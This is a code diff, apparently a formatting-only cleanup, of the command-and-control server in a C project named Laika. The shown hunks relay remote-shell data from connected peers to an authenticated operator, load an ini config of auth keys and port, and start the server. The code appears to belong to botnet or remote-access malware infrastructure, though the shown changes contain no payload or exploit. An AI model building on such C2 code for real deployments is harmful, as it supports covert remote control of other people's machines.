char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_shellInfo *shell;
uint32_t id;
/* ignore packet if malformed */
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH+sizeof(uint32_t) || sz <= sizeof(uint32_t))
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH + sizeof(uint32_t) || sz <= sizeof(uint32_t))
return;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
@@ -149,11 +162,11 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
return;
laikaS_read(&peer->sock, (void*)buf, sz-sizeof(uint32_t));
laikaS_read(&peer->sock, (void *)buf, sz - sizeof(uint32_t));
/* forward SHELL_DATA packet to auth */
laikaS_startVarPacket(shell->auth, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(&shell->auth->sock, &shell->authShellID, sizeof(uint32_t));
laikaS_write(&shell->auth->sock, buf, sz-sizeof(uint32_t));
laikaS_write(&shell->auth->sock, buf, sz - sizeof(uint32_t));
laikaS_endVarPacket(shell->auth);
}

View File

@@ -1,39 +1,48 @@
#include <stdio.h>
#include "ltask.h"
#include "lconfig.h"
#include "cnc.h"
#include "ini.h"
#include "lconfig.h"
#include "ltask.h"
#define STRING(x) #x
#include <stdio.h>
#define STRING(x) #x
#define MACROLITSTR(x) STRING(x)
struct sLaika_taskService tService;
static int iniHandler(void* user, const char* section, const char* name, const char* value) {
struct sLaika_cnc* cnc = (struct sLaika_cnc*)user;
#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0
static int iniHandler(void *user, const char *section, const char *name, const char *value)
{
struct sLaika_cnc *cnc = (struct sLaika_cnc *)user;
#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0
if (MATCH("auth", "public-key-entry")) {
laikaC_addAuthKey(cnc, value);
} else if (MATCH("server", "port")) {
cnc->port = atoi(value);
} else {
return 0; /* unknown section/name, error */
return 0; /* unknown section/name, error */
}
return 1;
}
bool loadConfig(struct sLaika_cnc *cnc, char *config) {
#undef MATCH
bool loadConfig(struct sLaika_cnc *cnc, char *config)
{
int iniRes;
printf("Loading config file '%s'...\n", config);
if ((iniRes = ini_parse(config, iniHandler, (void*)cnc)) < 0) {
if ((iniRes = ini_parse(config, iniHandler, (void *)cnc)) < 0) {
switch (iniRes) {
case -1: printf("Couldn't load config file '%s'!\n", config); break;
case -2: printf("Memory allocation error :/\n"); break;
default:
printf("Parser error on line %d in config file '%s'!\n", iniRes, config);
case -1:
printf("Couldn't load config file '%s'!\n", config);
break;
case -2:
printf("Memory allocation error :/\n");
break;
default:
printf("Parser error on line %d in config file '%s'!\n", iniRes, config);
}
return false;
}
@@ -41,11 +50,14 @@ bool loadConfig(struct sLaika_cnc *cnc, char *config) {
return true;
}
int main(int argv, char *argc[]) {
int main(int argv, char *argc[])
{
struct sLaika_cnc *cnc;
char *configFile = "server.ini";
printf("Laika v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT "\n");
printf("Laika v" MACROLITSTR(LAIKA_VERSION_MAJOR) "."
MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT "\n");
cnc = laikaC_newCNC(atoi(LAIKA_CNC_PORT));
/* load config file */
@@ -56,7 +68,7 @@ int main(int argv, char *argc[]) {
return 1;
laikaT_initTaskService(&tService);
laikaT_newTask(&tService, 1000, laikaC_sweepPeersTask, (void*)cnc);
laikaT_newTask(&tService, 1000, laikaC_sweepPeersTask, (void *)cnc);
/* start cnc */
laikaC_bindServer(cnc);